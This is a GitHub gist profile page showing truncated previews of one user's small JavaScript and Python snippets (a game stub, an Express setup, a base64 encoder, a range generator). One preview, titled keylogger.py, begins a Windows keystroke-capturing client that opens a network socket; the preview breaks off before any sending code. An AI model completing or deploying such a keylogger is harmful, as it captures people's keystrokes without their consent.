Skip to content

Instantly share code, notes, and snippets.

View JanneSalokoski's full-sized avatar

Janne Salokoski JanneSalokoski

View GitHub Profile
var Game = function (return_function)
{
this.play = function (bet, callback)
{
var return_amount = return_function(bet)
if (callback !== undefined)
{
callback(return_sum);
}
let express = require("express");
let server = express()
let bodyParser = require('body-parser');
let multer = require('multer'); // v1.0.5
let upload = multer(); // for parsing multipart/form-data
// $npm install express body-parser multer --save
var socket = io();
socket.on("message", function (msg)
{
$("#messages").append($("<li>").text(msg));
});
// Original implementation using Object.values
var cols = Object.values(this.data);
for (var i = 0; i < cols.length; i++)
{
console.log(Object.values(this.data[i]));
new this.Row(Object.values(this.data[i]));
}
// Newer implementation using Object.entries
for (var i = 0; i < Object.entries(this.data).length; i++)
"use strict";
function explode_array(array)
{
let items = {};
}
let data = [{"A": 1, "B": 2}, {"A": 2, "B": 3}];
console.log(explode_array(data));
@JanneSalokoski
JanneSalokoski / client.py
Created August 30, 2016 13:37
keylogger.py
#! /usr/bin/env python
import socket
from msvcrt import getch
def get_key():
return ord(getch())
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@JanneSalokoski
JanneSalokoski / base64.js
Created August 23, 2016 11:30
base64.js
let characters = "0123456789abcdefghijklmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
function encode64(num)
{
let BASE = 64; //Define the base to convert num to
let string = "";
let i = 0;
let cont = true;
@JanneSalokoski
JanneSalokoski / range.js
Created August 1, 2016 11:57
JavaScript [ES6] implementation of pythons' range()
function* range(start, stop, step = 1)
{
if (stop <= start & step > 0 | stop >= start & step < 0)
{
throw "Stop value is out of range";
}
else if (start >= stop & step > 0 | start <= stop & step < 0)
{
throw "Start value is out of range";
}
class json
{
static encode(object)
{
return JSON.stringify(object);
}
static decode(string)
{
console.log(string);
<!DOCTYPE html>
<html>
<head>
<title>unicode</title>
<script type="text/javascript">
function 😇(🍓, 🍘)
{
if (🍓 == "ä" and 🍘 != "🍕")
{